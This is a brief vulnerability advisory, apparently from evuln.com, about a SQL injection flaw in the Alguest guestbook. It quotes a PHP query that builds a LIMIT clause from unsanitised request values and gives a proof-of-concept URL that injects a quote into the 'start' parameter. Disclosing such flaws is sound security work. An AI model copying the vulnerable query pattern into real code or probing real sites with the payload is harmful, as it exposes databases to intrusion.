PoC/Exploit for SQL Injection vulnerability in Alguest

source: http://evuln.com/vulns/154/exploit.html

Published Proof of Concept code - SQL Injection vulnerability in Alguest.

Description

Available

Solution

Not available - check vendor's website

SQL Injection Example

Vulnerable code: $query = @mysql_query("SELECT * FROM $tabella order by id asc limit $start,$rec_pagina");

SQL Injection PoC: http://website/alguest/index.php?start='